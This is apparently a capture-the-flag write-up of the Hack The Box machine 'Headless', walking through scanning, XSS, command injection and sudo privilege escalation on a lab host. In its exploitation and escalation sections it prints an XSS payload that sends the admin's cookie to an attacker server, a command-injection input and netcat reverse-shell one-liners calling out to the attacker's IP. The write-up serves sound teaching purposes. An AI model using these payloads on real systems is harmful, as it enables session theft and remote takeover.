🤯Headless
Preparation
As always I am going to prepare my environment for the following assesment by exporting environment variables, creating new directories and changing my present working directory to the correct one.
export TARGET_NAME=headless
export TARGET=10.10.11.8
mkdir ~/machines/htb/headless/nmap
cd ~/machines/htb/headless
Enumeration
Nmap
Port Scan
First thing I like to do is to run a quick scan to see if there is anything we can look at while a more in depth scan is run. so to run a quick scan I run the following Nmap scan
sudo nmap -sS -sC -sV -oA ./nmap/${TARGET_NAME}_quick ${TARGET} -F -v
Nmap scan report for 10.10.11.8
Host is up (0.019s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 09 Jun 2024 10:13:43 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=6/9%Time=66658057%P=aarch64-unknown-linux-
SF:gnu%r(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.
SF:2\.2\x20Python/3\.11\.2\r\nDate:\x20Sun,\x2009\x20Jun\x202024\x2010:13:
SF:43\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Le
SF:ngth:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDW
SF:nvB_Zfs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<
SF:html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\
SF:">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=devic
SF:e-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Cons
SF:truction</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20body\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-fam
SF:ily:\x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20display:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20j
SF:ustify-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0
SF:,\x200,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!D
SF:OCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head
SF:>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x2
SF:0response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x2040
SF:0</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x2
SF:0version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>E
SF:rror\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x2
SF:0or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 20:14
Completed NSE at 20:14, 0.00s elapsed
Initiating NSE at 20:14
Completed NSE at 20:14, 0.00s elapsed
Initiating NSE at 20:14
Completed NSE at 20:14, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.14 seconds
Raw packets sent: 104 (4.552KB) | Rcvd: 101 (4.036KB)
To continue scanning while we look at the discovered ports we will run a more in depth scan looking at all 65,535 ports.
sudo nmap -sS -sC -sV -A -oA ./nmap/${TARGET_NAME}_full ${TARGET} -p- -v
Vulnerability Scan
To see if there are any publicly available exploits for the services running on the headless machine, we will run ssh and html scripts in the vulnerability categrory.
sudo nmap --script html-vuln*, ssh-vuln* ${TARGET} -p21,5000
We find out that html-vuln* isnt a category nor is http-vuln* after further attempts.
The final working nmap vulnerability script is as follows:
sudo nmap --script http-vuln* ${TARGET} -p5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 21:06 AEST
Nmap scan report for 10.10.11.8
Host is up (0.013s latency).
PORT STATE SERVICE
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
No extra vulnerability information was gained from this output.
SSH
We do not have any keys or credentials, and there are no public exploits for this service version at this time. We may have to come back here if we find credentials throughout further enumeration.
HTTP
Public Exploits
First we will use searchsploit and exploitDB to try to see if the Werkzeug backend is vulnerable to any known public exploit.

After finding a couple, downloading them and trying them out, the dependency for "debug mode" is not enabled to perform this exploit.
Subdirectory Enumeration
To fully map the attack surface, subdirectory enumeration was performed using the following gobuster command.
gobuster dir --url http://10.10.11.8:5000/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.8:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
Manual Enumeration - /support
Browsing to 10.10.11.8:5000 we are greeted with a screen welcoming us to the website saying its going live in 24 hours, with a button to leave a message.

Clicking on the welcome button takes us to the /support page which is filled with text forms. This looks to be submitting data to the server to be stored in the backend somewhere. Submitting data doesn't change anything on the page. This looks like it could be a potential place that a blind XSS vulnerability could be.

XSS - /support
It was observed during testing that the /support endpoint had multiple forms

The interesting thing to note about the above message is the Cookie: is_admin. Capturing this HTTP response in burp I sent the cookie value to the decoder module and found that the first part of the cookie is base64 encoded, when decoded it reads is_admin="user". If we can get the is_admin="admin" cookie we can get access to the dashboard page that we found with gobuster.

Knowing that malicious payloads are sent to administrators from the Hacking Attempt Detected error we received earlier, is it possible to exfiltrate an admin cookie via XSS?
Exploitation
XSS Cookie Stealing - /support
To steal the cookie we must first configure our own webserver to catch the request from our XSS payload
python3 -m http.server 80 --bind 10.10.16.21
Next, we need to find an XSS payload that will bypass the content filtering. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection has a list of XSS payloads to try.
Using the Burp repeater I entered payload after payload to try and bypass the hacking attempt detected login screen. This was tedious so I copied a list of XSS payloads to Burp's Intruder paylists and performed a battering ram attack looking for a response that has evaded detection.
I then sent the working request back to Burp's repeater module.
I amended the payload to make a call back to our python server
<img src=x onerror=fetch('http://10.10.16.21/'+document.cookie);//

ImFkbWluIg.dmzDkZNEm6CK0oyL1
Using Burp's decoder we can see that this is infact an admin cookie

After intercepting a new request to /dashboard. I replaced the user cookie with the admin cookie to perform an authentication bypass.

Entering the cookie when submitting the request caused a 500 server error response. However, utilising the developer tools and replacing the cookie there provided access to the developer dashboard.

Command Injection - /dashboard
The administration dashboard is a straightforward interface and has a small attack surface. The 'Generate Report' button sends a POST request sending the date to the backend server.
Using burps intruder module I configured a sniper attack to see if any command seperators (;, &, &&, |,||) allowed for command injection.
date=2023-05-15;pwd
Intruder mode running a Cluster Bomb attack showed that the /dashboard endpoint is vulnerable to command injection with multiple separators (;, &, &&, |)
It was noted via command injection that netcat was running on the host. Next we will craft a reverse shell to connect to our machine.
Reverse Shell - /dashboard
First a local listener was established to catch the reverse shell on port 9001
nc -lvnp 9001
Utilising the above command injection vulnerability I went through a a list of shells on http://revshells.com with the following giving me access to the box as the dvir user
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/f

Exfiltration - dvir
Catching the reverse shell lands us in the /hom/dvir/app
directory. We can list all the files and see the web app with the ls -la
command. Navigating up one directory to dvir's home, we find the user.txt
file.

Escalation
sudo Privilege Misconfiguration
The first thing I like to check is if the current user (dvir) can execute any programs with super user privileges.
sudo -l

From the above output we can see that dvir can /usr/bin/syscheck without a password. Checking https://gtfobins.github.io, we can see that there is no entry for this program, we will have to dig deeper.
Running the file
command on /usr/bin/syscheck we find that it is a bash script. by performing the cat command on this script, we can see that it checks for hard if the user is running as a super user, checks dates of modification, checks for disk space etc. The interesting part of this file is that it makes a call to ./initdb.sh
which means it is looking for a copy of initsb.sh in the local folder and it will be run as root.
I searched headless for a copy of initdb.sh but I could not find one on the box. so i created one and ran a proof of concept
touch initdb.sh
echo "echo 'echo'" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
This output "echo" as expected, so I overwrote the contents of initdb.sh with a reverse shell of the same type I used to get user access.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9002 >/tmp/f
I then started another netcat listener on my local machine on port 9002 to catch the reverse shell
nc -nvlp 9002

Exfiltration - root
The root flag can be found by navigating to the /root
directory and then performing the cat
command on root.txt
Culmination
What did I learn? What did I find interesting or surprise me?
The headless machine taught me about Cookie stealing with XSS, command injection, and basic privilege escalation techniques. The key thing I learnt on this box was how to identify an XSS vulnerability using Burp's intruder module and loading XSS payloads into the list, and finally comparing sizes of HTTP responses to find successful examples.
Additionally, saving Burpsuite querys for future use. When sending the stolen admin cookie with a command injection, save it into the folder for future use. I had to reset my VM and lost my progress. If I had of saved the request into my headless environment folder I could have saved myself half an hour of work.
Last updated